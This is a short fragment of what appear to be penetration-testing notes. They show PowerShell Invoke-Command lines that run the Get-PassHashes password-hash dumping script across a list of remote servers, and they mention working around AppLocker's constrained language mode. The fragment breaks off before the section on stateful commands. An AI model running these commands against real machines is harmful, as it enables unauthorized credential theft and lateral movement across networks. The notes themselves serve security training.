• Use below to execute scripts from files
Invoke-Command –FilePath C:\Get-PassHashes.ps1 - ComputerName (Get-Content list_of_servers)
if it shows constraint language mode you can only run built-in functions which is caused by applocker policy
you can import scripts in you machine and then call the function through invoke-command
Use below to execute locally loaded function on the remote machines
• In this case, we are passing Arguments. Keep in mind that only positional arguments could be passed this way:
Invoke-Command -ScriptBlock ${function:Get-PassHashes} - ComputerName (Get-Content list_of_servers) - ArgumentList
In below, a function call within the script is used
Invoke-Command –Filepath C:\Get-PassHashes.ps1 - ComputerName (Get-Content list_of_servers)
Use below to execute "Stateful" commands using Invoke-Command: